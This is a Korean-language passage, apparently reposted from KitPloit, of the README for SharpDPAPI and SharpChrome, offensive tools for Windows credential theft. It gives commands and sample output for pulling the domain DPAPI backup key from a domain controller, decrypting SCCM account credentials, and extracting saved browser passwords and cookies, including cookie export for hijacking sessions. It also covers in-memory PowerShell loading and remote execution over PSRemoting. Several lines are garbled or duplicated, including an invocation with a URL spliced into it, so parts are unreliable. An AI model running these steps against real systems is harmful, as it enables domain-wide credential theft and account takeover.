    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...  

backupkey

backupkey 명령은 Mimikatz에서 사용하는 LsaRetrievePrivateData API 방식을 사용하여 도메인 컨트롤러로부터 도메인 DPAPI 백업 키를 검색합니다. 이 개인 키는 도메인 내 모든 사용자의 마스터 키 blob을 복호화하는 데 사용할 수 있습니다. 더 좋은 점은 이 키는 절대 변경되지 않는다는 것입니다 ;)

원격 도메인 컨트롤러에서 키를 검색하려면 도메인 관리자(또는 이에 상응하는) 권한이 필요합니다.

/nowrap 플래그는 표시 시 base64 키가 줄바꿈되는 것을 방지합니다.

이 base64 키 blob은 바이너리 .pvk 파일로 디코딩한 후 Mimikatz의 dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk 모듈과 함께 사용하거나, masterkeys, credentials, 또는 vault SharpDPAPI 명령에서 blob/file /pvk:X 형식으로 사용할 수 있습니다.

기본적으로 SharpDPAPI는 DsGetDcName API 호출을 통해 현재 도메인 컨트롤러를 확인하려고 시도합니다. 서버는 /server:COMPUTER.domain.com으로 지정할 수 있습니다. 키를 base64 blob이 아닌 디스크에 저장하려면 /file:key.pvk를 사용하세요.

현재 도메인 컨트롤러의 DPAPI 백업 키 검색:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey  

  __                 _   _       _ ___  
 (_  |_   _. ._ ._  | \ |_) /\  |_) |  
 __) | | (_| |  |_) |_/ |  /--\ |  _|_  
                |  
  v1.2.0  


[*] 동작: 도메인 DPAPI 백업 키 검색  


[*] 현재 도메인 컨트롤러 사용 중  : PRIMARY.testlab.local  
[*] 기본 설정된 백업키 Guid         : 32d021e7-ab1c-4877-af06-80473ca3e4d8  
[*] 전체 기본 설정된 backupKeyName  : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8  
[*] 키 :  
          HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...  

지정된 DC의 DPAPI 백업 키를 검색하고, 백업 키를 파일로 출력:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk  

  __                 _   _       _ ___  
 (_  |_   _. ._ ._  | \ |_) /\  |_) |  
 __) | | (_| |  |_) |_/ |  /--\ |  _|_  
                |  
  v1.2.0  


[*] 동작: 도메인 DPAPI 백업 키 검색  


[*] 사용 중인 서버                     : primary.testlab.local  
[*] 기본 설정된 백업키 Guid         : 32d021e7-ab1c-4877-af06-80473ca3e4d8  
[*] 전체 기본 설정된 backupKeyName  : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8  
[*] 백업 키가 다음 위치에 기록됨      : key.pvk  

search

search 명령은 레지스트리, 파일, 폴더, base64 blob에서 잠재적인 DPAPI blob을 검색합니다. 사용법:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]

root@kitploit:~
`search` 명령은 DPAPI blob 구조의 헤더(버전 + DPAPI 제공자 GUID)를 나타내는 다음 바이트를 검색하여 작동합니다:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

검색 명령어는 스캔 중인 데이터 유형에 따라 다른 인수를 가집니다. 데이터 유형을 지정하려면 /type 인수를 사용하여 registry, folder, file 또는 base64를 지정합니다. /type 인수가 없으면 명령어는 기본적으로 레지스트리를 검색합니다.

다른 인수 없이 레지스트리를 검색할 때 명령어는 HKEY_LOCAL_MACHINE 및 HKEY_USERS 하이브를 재귀적으로 검색합니다. /path 매개변수를 사용하여 검색할 루트 키를 지정하고(예: /path:HKLM\Software), /showErrors 인수를 사용하여 열거 중 발생하는 오류를 표시합니다.

파일이나 폴더를 검색할 때는 /path:C:\Path\to\file\or\folder로 경로를 지정하고 선택적으로 /maxBytes:<int>를 사용하여 각 파일에서 읽을 바이트 수를 지정합니다(기본값: 1024바이트). 명령어는 파일의 시작 부분부터 바이트를 읽고 DPAPI blob을 검색합니다. /showErrors를 사용하여 열거 중 발생하는 오류를 표시합니다.

base64 blob을 검색할 때는 /base64:<base64 str> 매개변수로 스캔할 base64 인코딩 바이트를 지정합니다.

SCCM

SCCM 클라이언트인 머신에서 권한이 상승된 경우, SCCM 환경이 네트워크 액세스 계정(NAA)으로 구성되어 있다면, NAA 자격 증명을 포함하는 시스템 마스터 키로 보호된 DPAPI blob을 WMI를 통해 검색할 수 있습니다. SCCM 명령어는 WMI를 통해 blob을 쿼리하고, 시스템 마스터 키를 검색한 후 blob을 복호화합니다.

SharpChrome Commands

logins

logins 명령어는 Chrome 'Login Data' 파일을 검색하고 저장된 로그인 비밀번호를 복호화합니다. 실행 컨텍스트가 상승되지 않은 경우, CryptProtectData()가 자동으로 사용되어 값을 복호화하려고 시도합니다. /browser:edge가 지정되면 최신 Chromium 기반 Edge 브라우저가 대상이 됩니다.

Login Data 파일은 다음 방법으로도 복호화할 수 있습니다: a) 전달된 "{GUID}:SHA1 {GUID}:SHA1 ..." 마스터키, b) 하나 이상의 {GUID}:SHA1 마스터키 매핑이 포함된 /mkfile:FILE, c) 제공된 DPAPI 도메인 백업 키(/pvk:BASE64... 또는 /pvk:key.pvk)를 사용하여 먼저 사용자 마스터키를 복호화하거나, d) /password:X를 사용하여 사용자 마스터키를 복호화한 후 이를 조회 복호화 테이블로 사용합니다. DPAPI GUID 매핑은 Mimikatz의 sekurlsa::dpapi 명령어로 복구할 수 있습니다.

특정 Login Data 파일은 /target:FILE로 지정할 수 있습니다. /pvk 또는 /password도 함께 제공되면 원격 /server:SERVER를 지정할 수 있습니다. 최신 Chrome/Edge 인스턴스를 대상으로 하는 경우 /statekey:X AES 상태 키를 지정할 수 있습니다.

기본적으로 로그인 정보는 csv 형식으로 표시됩니다. /format:table을 사용하여 테이블 출력으로 변경할 수 있습니다. 또한 기본적으로 null이 아닌 비밀번호 값 항목만 표시되지만, /showall을 사용하면 모든 값을 표시할 수 있습니다.

상승된 컨텍스트에서 실행되면 모든 사용자의 Login Data 파일이 대상이 되고, 그렇지 않으면 현재 사용자의 Login Data 파일만 처리됩니다.

cookies

cookies 명령어는 Chromium 'Cookies' 파일을 검색하고 쿠키 값을 복호화합니다. 실행 컨텍스트가 상승되지 않은 경우, CryptProtectData()가 자동으로 사용되어 값을 복호화하려고 시도합니다. /browser:<VALUE> (예: edge, brave, slack)를 사용하여 대상 애플리케이션을 변경할 수 있습니다.

Cookie 파일은 다음 방법으로도 복호화할 수 있습니다: a) 전달된 "{GUID}:SHA1 {GUID}:SHA1 ..." 마스터키, b) 하나 이상의 {GUID}:SHA1 마스터키 매핑이 포함된 /mkfile:FILE, c) 제공된 DPAPI 도메인 백업 키(/pvk:BASE64... 또는 /pvk:key.pvk)를 사용하여 먼저 사용자 마스터키를 복호화하거나, d) /password:X를 사용하여 사용자 마스터키를 복호화한 후 이를 조회 복호화 테이블로 사용합니다. DPAPI GUID 매핑은 Mimikatz의 sekurlsa::dpapi 명령어로 복구할 수 있습니다.

특정 Cookies 파일은 /target:FILE로 지정할 수 있습니다. /pvk 또는 /password도 함께 제공되면 원격 /server:SERVER를 지정할 수 있습니다. 최신 Chrome/Edge 인스턴스를 대상으로 하는 경우 /statekey:X AES 상태 키를 지정할 수 있습니다.

기본적으로 쿠키는 csv 형식으로 표시됩니다. /format:table을 사용하여 테이블 출력으로 변경하거나, /format:json을 사용하여 EditThisCookie에서 가져올 수 있는 출력으로 변경할 수 있습니다. 또한 기본적으로 만료되지 않은 쿠키 값 항목만 표시되지만, /showall을 사용하면 모든 값을 표시할 수 있습니다.

상승된 컨텍스트에서 실행되면 모든 사용자의 Cookie 파일이 대상이 되고, 그렇지 않으면 현재 사용자의 Cookie 파일만 처리됩니다.

cookies 명령어에는 제공된 정규식과 일치하는 쿠키 이름이나 URL만 반환하는 /cookie:REGEX 및 /url:REGEX 인수도 있습니다. 이는 /format:json과 함께 사용하여 특정 사이트에 대한 액세스를 쉽게 복제하는 데 유용합니다.

statekeys

기본적으로 statekeys 명령어는 Chromium 기반 애플리케이션(Google Chrome, Edge, Brave, Slack)을 검색하고, 해당 AES 상태키 파일(예: 'AppData\Local\Google\Chrome\User Data\Local State' 및 'AppData\Local\Microsoft\Edge\User Data\Local State')을 찾아 cookies 및 logins에 제공할 수 있는 것과 동일한 유형의 인수를 사용하여 복호화합니다. 또한 /target: 매개변수를 사용하여 특정 상태키 파일의 경로를 제공할 수 있습니다(예: "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").

상태 키는 다음 방법으로도 복호화할 수 있습니다: a) 전달된 "{GUID}:SHA1 {GUID}:SHA1 ..." 마스터키, b) 하나 이상의 {GUID}:SHA1 마스터키 매핑이 포함된 /mkfile:FILE, c) 제공된 DPAPI 도메인 백업 키(/pvk:BASE64... 또는 /pvk:key.pvk)를 사용하여 먼저 사용자 마스터키를 복호화하거나, d) /password:X를 사용하여 사용자 마스터키를 복호화한 후 이를 조회 복호화 테이블로 사용합니다. DPAPI GUID 매핑은 Mimikatz의 sekurlsa::dpapi 명령어로 복구할 수 있습니다.

상승된 컨텍스트에서 실행되면 모든 사용자의 상태 키가 대상이 되고, 그렇지 않으면 현재 사용자의 상태 키만 처리됩니다.

backupkey

backupkey 명령어는 LsaRetrievePrivateData API 접근 방식Mimikatz로부터을 사용하여 도메인 컨트롤러에서 도메인 DPAPI 백업 키를 검색합니다. 이 개인 키는 도메인의 모든 사용자에 대한 마스터 키 blob을 복호화하는 데 사용할 수 있습니다. 더 좋은 점은 키가 절대 변경되지 않는다는 것입니다 ;)

원격 도메인 컨트롤러에서 키를 검색하려면 도메인 관리자(또는 이에 상응하는) 권한이 필요합니다.

/nowrap 플래그는 base64 키를 표시할 때 줄바꿈을 방지합니다.

이 base64 키 blob은 바이너리 .pvk 파일로 디코딩된 후 Mimikatz의 dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk 모듈과 함께 사용하거나, blob/파일 /pvk:X 형태로 masterkeys, credentials 또는 vault SharpDPAPI 명령어와 함께 사용할 수 있습니다.

기본적으로 SharpDPAPI는 DsGetDcName API 호출을 통해 현재 도메인 컨트롤러를 확인하려고 시도합니다. 서버는 /server:COMPUTER.domain.com으로 지정할 수 있습니다. 키를 base64 blob으로 출력하지 않고 디스크에 저장하려면 /file:key.pvk를 사용하세요.

Compile Instructions

SharpDPAPI의 바이너리를 릴리스할 계획이 없으므로 직접 컴파일해야 합니다 :)

SharpDPAPI는 .NET 3.5를 대상으로 빌드되었으며 Visual Studio 2019 Community Edition과 호환됩니다. 프로젝트 .sln 파일을 열고 "Release"를 선택한 후 빌드하면 됩니다.

Targeting other .NET versions

SharpDPAPI의 기본 빌드 구성은 .NET 3.5용이며, 해당 버전이 설치되지 않은 시스템에서는 실패합니다. SharpDPAPI를 .NET 4 또는 4.5용으로 대상으로 지정하려면 .sln 솔루션을 열고 프로젝트 -> SharpDPAPI 속성으로 이동하여 "대상 프레임워크"를 다른 버전으로 변경하세요.

Sidenote: Running SharpDPAPI Through PowerShell

PowerShell 래퍼를 통해 SharpDPAPI를 메모리 내에서 실행하려면 먼저 SharpDPAPI를 컴파일하고 결과 어셈블리를 base64로 인코딩합니다:

root@kitploit:~
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

그런 다음 SharpDPAPI는 다음 PowerShell 스크립트에서 로드할 수 있습니다("aa..."는 base64로 인코딩된 SharpDPAPI 어셈블리 문자열로 대체됨):

root@kitploit:~
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

Main() 메서드와 모든 인수는 다음과 같이 호출할 수 있습니다:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/master/:Main(%22machinemasterkeys%22)

Sidenote Sidenote: Running SharpDPAPI Over PSRemoting

PSRemoting이 출력을 처리하는 방식 때문에 stdout을 문자열로 리디렉션하고 대신 반환해야 합니다. 다행히 SharpDPAPI에는 이를 도와주는 함수가 있습니다.

Sidenote: Running SharpDPAPI Through PowerShell의 지침에 따라 SharpDPAPI.ps1을 만든 경우 스크립트에 다음과 같은 내용을 추가합니다:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/master/:MainString(%22machinemasterkeys%22)

그러면 다음과 같이 PSRemoting을 통해 SharpDPAPI를 실행할 수 있습니다:

root@kitploit:~
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

또는 SharpDPAPI의 /consoleoutfile:C:\FILE.txt 인수는 모든 출력 스트림을 지정된 파일로 리디렉션합니다.

도구 다운로드
/pvk:BASE64...
/pvk:key.pvk
masterkeys
/password:X
sekurlsa::dpapi